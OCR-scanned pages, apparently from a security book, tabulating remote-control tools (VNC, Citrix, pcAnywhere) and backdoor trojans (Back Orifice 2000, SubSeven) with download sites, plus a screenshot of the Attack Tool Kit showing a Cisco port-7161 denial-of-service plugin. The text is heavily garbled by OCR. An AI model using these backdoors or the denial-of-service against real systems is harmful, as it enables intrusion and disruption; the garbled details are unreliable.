Cambridge

Microsoft

Microsoft

Citrix
Systems,
Inc.

Symantec
Corporatio
n

Operating System
Supported

Windows of all
types
(Win95/98/Me/NT/2
000/XP/2003/CE),
Various UNIX
flavors, including
Linux, Solaris,
Macintosh, DEC
Alpha Java client
(which will work on
any system with a
Java Virtual
Machine)

Windows

Windows XP and
2003, as well as a
separate client for
older Windows
versions

Windows

Windows

Web Site

www.uk.research.at
t.com/vnc/

Claim to Fame

This free, open source

tool runs on many kinds of

operating systems, and is a
favorite of many system
administrators for remote access.
Attackers also frequently abuse it
as a remote control backdoor.

WWwW.microsoft.com

/windows2000/tech
nologies/terminal/de

fault.asp
www.microsoft.com

/WindowsXP/pro/us
ing/howto/gomobile
[remotedesktop/defa

ult.asp
WwWw.citrix.com/

Www.symantec.com
/pcanywhere/

MWww.Negashteh.Com

This tool is Microsoft's
flagship product for
remote access of a server's
GUL.

This product is a stripped-
down version of Windows
Terminal Services built
into newer versions of
Windows.

One of the first
enterprisewide remote
access tools, Citrix has
gained quite a following
in corporate
environments.

One of the very first tools
in this category,
PCAnywhere has built
significant market share
and remains one of the


http://www.uk.research.at
http://www.microsoft.com
http://www.microsoft.com
http://www.citrix.com/
http://www.symantec.com
http://Negashteh.Com

Remote GUI Tools from Commercial Companies and

Tool

Dameware

GoToMyPC

Back Orifice

2000

SubSeven

War Driving Tools For Script Kiddies

Attack Tool kit @ www.computec.ch

Group
That
Released
the Tool

DameWar
e
Developm
ent, LLC

Expertcity,
Inc.

Cult of the
Dead Cow
(cDc)
computer
undergrou
nd group

Mobman,
programm
er in the
computer
undergrou
nd

the Computer Underground

Operating System

Supported Web Site
Windows www.dameware.co
m/
Windows www.gotomypc.co
m
Windows www.bo2k.com
Windows http://packetstormse

curity.org/trojans

Claim to Fame

easiest tools to use.

This commercial tool is
used for remote system
administration. A
stripped-down free
version offers a very
small but full-featured
free remote control client
and server.

This tool allows for
remote GUI access across
the Internet from any
system in the world using
only a browser.

Released by the hacker
group Cult of the Dead
Cow, this tool is
remarkably feature rich.
Although it's been around
a long time.

This is one of the most
popular backdoor suites
of all time.
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Attack Tool Kit 2.1 About |
About I Project Team |E Merchandising !

ATK

Attack Tool Kit

Go and get yvour AT shirt online!

f

|
You will find rmore informations about
the Attack Tool Kit (ATK) on the

project web site
httpe Afwww computec.chi/projekte/ ath,

7 Attack Tool Kit 2.1 - www.microsoft.com -0 x|

File Scan Configuration Plugins Analwsis Reporting Tools  Help

00 e 0L e e

Skart Stop Config Edit Reload Delete Yisualize |Response| Logs

| There waz no vulnerability tested yet. Please mn the zelected plugin ta vernify the existence af the flaw. |

— Pluginz [200 loaded] — Plugin Overview
S T K. plugin: Plugin 1D: 18 sl
I F'Iug_in name: I;isccu port bep/ 7161 camage return
Mame Denial of Service
Pratocal tep
Part Port: 7161
Severity Severty: High
Family Advison:
Class Affected: Cisco routers
Mot affected:
: CVE ulherability clazs: Denial Of Service
Messuz D E =ploit URL:
; SecurntyFocus BID hittp: A A, secuntyfocus. comdbid/ 705/ exploit

0SVDE D Deszcription: According to D C5CAiI74333 it is pozzible

to crazh a Cizco device connecting to port topd7161
and zending a carriage returh,

Rezponze: ﬂ

Reading plugin 18 [Cizco tep-7161 Denial of Service. plugin)... 100 %
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